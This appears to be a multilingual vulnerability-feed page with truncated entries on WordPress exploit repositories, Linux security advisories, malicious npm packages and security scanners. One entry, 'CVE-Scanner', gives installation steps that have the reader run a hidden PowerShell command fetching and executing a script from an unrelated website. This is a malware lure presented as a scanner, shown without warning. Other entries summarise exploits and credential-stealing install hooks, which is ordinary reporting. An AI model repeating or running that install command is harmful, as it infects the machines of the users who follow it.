CVE-2025-30911

CVE-2025-30911 익스플로잇 – WordPress RomethemeKit = 1.5.4 이 스크립트는 RomethemeKit For Elementor WordPress 플러그인= v1.5.4의 치명적인 취약점 을 악용하여 인증된 사용자의 임의 플러그인 설치 및 활성화 를 허용하며, 잠재적으로 원격 코드 실행RCE로 이어질 수 있습니다. 🛠️ 취약점 요약 CVE ID : CVE-2025-30911 플러그인 : RomethemeKit For Elementor 영향받는 버전 : = 1.5.4 취약점 유형 : 임의 플러그인 설...

CVE-2024-10674

CVE-2024-10674 エクスプロイト - Th Shop Mania = 1.4.9 🚀 概要 このリポジトリには、Th Shop Mania WordPressテーマにおけるCVE-2024-10674として識別された脆弱性のエクスプロイトが含まれています。この脆弱性により、少なくとも購読者レベルのアクセス権を持つ認証済みユーザーが、適切な認可なしに任意のプラグインをインストールおよび有効化できるようになります。このエクスプロイトは悪意のあるプラグインをインストールするために利用される可能性があり、結果としてリモートコード実行や権限昇格につながる可能性があります。 🔍 脆弱性の...

CVE-2024-3094

xz-utils 취약점 확인 및 업데이트 유틸리티 이 스크립트는 시스템에 설치된 xz-utils 버전의 취약점을 확인하기 위해 설계되었습니다. 취약한 버전이 감지되면 스크립트는 잠재적인 보안 위험을 완화하기 위해 안정적인 버전을 자동으로 다운로드하고 설치할 것을 제안합니다. 요구 사항 스크립트 실행에 필요한 구성 요소는 다음과 같습니다: Python 3 requests 라이브러리 pip install requests로 설치 가능 tarfile 라이브러리 Python 3에 포함됨 안정적인 버전 아카이브 다운로드를 위한 인터넷 연...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/기타 스캐너 & 익스플로이터. 설치 1. WIN + R 키를 누릅니다 2. 아래 코드를 복사하여 붙여넣고 Enter 키를 누릅니다 powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC를 다시 시작합니다 사용법 1. CMD를 엽니다 2. fexkex 스캔할 IP...

Rocky Linux 8 [CIQ] Security Update: flatpak / flatpak-debuginfo / flatpak-debugsource / flatpak-devel / etc (crlsa-2022_1792)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20221792 advisory. flatpak: Permissions granted to applications can be hidden from the user at install time CVE-2021-43860 Tenable has extracted the preceding description block direct...

Rocky Linux 9 [CIQ] Security Update: ansible-core / ansible-test (crlsa-2026_57149)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202657149 advisory. ansible-core: argument injection in ansible-galaxy role install leads to arbitrary code execution CVE-2026-11332 Tenable has extracted the preceding description...

Rocky Linux 8 [CIQ] Security Update: ansible-core / ansible-test (crlsa-2026_66248)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202666248 advisory. ansible-core: argument injection in ansible-galaxy role install leads to arbitrary code execution CVE-2026-11332 Tenable has extracted the preceding description...

CVE-2026-55224

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates...

CVE-2026-55224

The MineAdmin backend management system is vulnerable to a path traversal flaw in its app-store plugin service prior to version 3.2.0-alpha.2 . The application fails to sanitize the user-supplied identifier parameter, concatenating it directly into filesystem paths within plugin/mine-admin/app-st...

CVE-2026-55224 MineAdmin: Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates...

CVE-2026-55224 MineAdmin: Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates...

CVE-2026-88797

The Vayu X WordPress theme before 1.0.6 does not perform any capability check on one of its AJAX actions and exposes the nonce guarding it to every logged-in user, allowing any authenticated user, such as a subscriber, to install and activate any hosted on the WordPress.org repository...

CVE-2026-55224: Improper Limitation of a Pathname to a Restricted Directory

MineAdmin is a ready-to-use backend management system suitable for quickly building website backends, operation platforms, permission centers, internal management systems, CMS, CRM, OA, ERP and other business applications. Prior to version 3.2.0-alpha.2, the app-store plugin service concatenates...

Malicious code in @chatunity/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6d06d6b516b21b0ac6ed45e5653dca243695a2c17326669ec58498e4c9bcf45 package.json declares the runtime dependency libsignal with the value github:chatunitycenter/libsignal-node, an off-registry git source with no commi...

CVE-2026-42089

CVE-2026-42089 로컬 패키지 설치 헬퍼가 호출자가 제공한 패키지 이름을 과도하게 신뢰했습니다. yeoman-environment에서 누락된 제너레이터가 사용자 확인 없이 설치될 수 있었고, 이로 인해 공격자가 제어하는 프로젝트 메타데이터가 패키지 설치 및 코드 실행 경로로 바뀔 수 있었습니다. 소개 간단한 보안 질문을 염두에 두고 generator-jhipster 를 리뷰하던 중 이 문제를 발견했습니다: 공격자가 제어하는 프로젝트 메타데이터가 개발자 도구로 하여금 사용자가 명시적으로 요청하기 전에 타사 코드를 가져와...

Malicious code in @hrmony/kit-5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6457aa73ec15f68e06005977033aaba349467d40e3d406f0810684a43b74fcb5 The package's preinstall script and its main entry index.js both perform identical credential-harvesting: they query the EC2 Instance Metadata Servic...

mini-shai-hulud-scanner

미니 샤이훌루드 스캐너 현재 주요 패키지를 감염시키고 있는 npm/PyPI 공급망 웜을 위한 무료 오프라인 스캐너입니다. Intrudify 팀이 제작했습니다. 회원가입 불필요, 원격 측정 없음, 완전히 오프라인으로 실행됩니다. NHS CC-4781 · CVE-2026-45321 CVSS 9.6 · GHSA-g7cv-rxg3-hmpx 이 스캐너는 무엇인가요? 지난 몇 주 동안 npm install 또는 pip install을 실행했다면, 이 스캐너가 필요합니다. 특히 @tanstack/, @uipath/, @mistralai/,...

Malicious code in express-javascript (npm)

The package express-javascript impersonates the legitimate 'express' package it republishes express's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

Malicious code in react-nodejs (npm)

The package react-nodejs impersonates the legitimate 'react' package it republishes react's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

wp2shell-cve-2026-63030-root-cause

wp2shell CVE-2026-63030 + CVE-2026-60137: 독립적 근본 원인 분석 WordPress 코어는 2026-07-17에 wp2shell을 기본 설치WordPress 6.9.0-6.9.4, 7.0.0-7.0.1, 플러그인 불필요에 영향을 주는 치명적이고 인증되지 않은 RCE로 공개했습니다. 원래 발견자Searchlight Cyber는 공개 시점에 기술적 세부 사항을 공개하지 않았습니다. 이 저장소는 취약한 버전6.9.4과 패치된 버전6.9.5 사이의 WordPress 코어 소스 diff와 로컬 랩에서의...